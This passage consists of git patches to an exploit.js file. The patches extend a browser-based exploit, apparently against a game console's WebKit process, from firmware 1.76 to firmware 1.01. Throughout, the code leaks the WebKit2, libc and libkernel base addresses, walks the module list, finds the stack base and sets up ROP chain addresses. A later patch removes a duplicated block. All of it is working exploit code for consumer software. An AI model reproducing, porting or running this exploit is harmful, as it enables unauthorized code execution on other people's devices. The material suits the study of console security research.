1: getting the Uint32Array object address @@ -485,28 +485,56 @@ function exploit() { // (import table +0x20) = modules table // If this crashes, try it 2-4 more times. It usually will work - // target addr for the rop chain + if(version === 1.76) + { + // target addr for the rop chain + var chain_addr = u32base0 + 0x80000; + var chain_data = u32base0 + 0x88000; - var chain_addr = u32base0 + 0x80000; - var chain_data = u32base0 + 0x88000; + // xx will be the base address of WebKit2 + xx = (getU64from(xx+0x20)-0x30bf0); + var wk_base = xx; + logAdd("WebKit2 base address = 0x" + xx.toString(16)); + xx += 0x2414000; // Get to the import table + setBase(xx); - // xx will be the base address of WebKit2 + xx = getU64from(xx+0x20); // Get to the module table + // Future use: data area somewhere around 0x200500000 - xx = (getU64from(xx+0x20)-0x30bf0); - var wk_base = xx; - logAdd("WebKit2 base address = 0x" + xx.toString(16)); - xx += 0x2414000; // Get to the import table - setBase(xx); + var libc_int_base = getU64from(xx+0x1628); //1.76 + + var module_list = xx + 0xae0 + 0x690; + + //get libSceLibcinternal base + var libc_int_base = getU64from(xx+0x1628); //1.76 + + //logAdd("Dump Address is 0x" + xx.toString(16)); + + var module_list = xx + 0xae0 + 0x690; + } + else if(version === 1.01) + { + var chain_addr = u32base0 + 0x80000 + 0x4000; + var chain_data = u32base0 + 0x88000 + 0x4000; + + var loc0 = getU64from(u32base0 + 0x20); + setBase(loc0); - xx = getU64from(xx+0x20); // Get to the module table - // Future use: data area somewhere around 0x200500000 + var loc1 = getU64from(loc0 + 0x20); + setBase(loc1); - //get libSceLibcinternal base - var libc_int_base = getU64from(xx+0x1628); //1.76 + var wk2_text_base = loc1 - 0x30430; + setBase(wk2_text_base); - //logAdd("Dump Address is 0x" + xx.toString(16)); + var wk2_import_base = wk2_text_base + 0x2438000; + setBase(wk2_import_base); - var module_list = xx + 0xae0 + 0x690; + var __stack_chk_guard_ptr = getU64from(wk2_import_base + 0x20); + setBase(__stack_chk_guard_ptr); + + var __stack_chk_guard = getU64from(__stack_chk_guard_ptr); + var module_list = __stack_chk_guard_ptr - 0x1C290; + } // module list is a doubly linked list, where the last node has self->next == 0 // and the first node has self->prev == prev->next && self->prev->prev == last @@ -549,21 +577,32 @@ function exploit() { n++; } - var libsysmodule_base = getU64from(xx+0x17E8); - //get libkernel base - //xx = getU64from(xx+0xdd8); //1.71 - xx = getU64from(xx+0x1468); //1.76 - //var libkernel_base = xx; + if(version === 1.76) + { + var libsysmodule_base = getU64from(xx+0x17E8); + xx = getU64from(xx+0x1468); + } + else if(version === 1.01) + { + var libsysmodule_base = 0x800148000; + xx = 0x800000000; + } setBase(xx); //get stack base - //xx = getU64from(xx+0x3D890); //1.76 webkit2 stack? - xx = getU64from(xx+0x5B278); //1.76 webprocess stack - //yy = getU64from(xx+0x5AA70); //1.71 - window.stack_base = xx - 0x4000; - //yy = getU64from(xx+0x5AA70); + if(version === 1.76) + { + xx = getU64from(xx+0x5B278); + //yy = getU64from(xx+0x5AA70); //1.71 + window.stack_base = xx - 0x4000; + //yy = getU64from(xx+0x5AA70); + } + else if(version === 1.01) + { + window.stack_base = 0x7FFFF8000; + } // Defining modules @@ -593,7 +632,14 @@ function exploit() { logAdd("Refresh this page between calls to avoid instability and crashes. Enjoy..."); - window.return_va = 0x2b38; //1.76 + if(version === 1.76) + { + window.return_va = 0x2b38; + } + else if(version === 1.01) + { + window.return_va = 0x2BB8; + } } catch(e) { logAdd(e); From b92b7dbbeccfd022b0441668d02b9288699b06d6 Mon Sep 17 00:00:00 2001 From: hitodama Date: Mon, 2 Oct 2017 18:40:37 +0200 Subject: [PATCH 3/3] Remove copy paste mistake --- local/js/exploit.js | 4 ---- 1 file changed, 4 deletions(-) diff --git a/local/js/exploit.js b/local/js/exploit.js index 05787cb..d8c2aaf 100644 --- a/local/js/exploit.js +++ b/local/js/exploit.js @@ -501,10 +501,6 @@ function exploit(version) { xx = getU64from(xx+0x20); // Get to the module table // Future use: data area somewhere around 0x200500000 - var libc_int_base = getU64from(xx+0x1628); //1.76 - - var module_list = xx + 0xae0 + 0x690; - //get libSceLibcinternal base var libc_int_base = getU64from(xx+0x1628); //1.76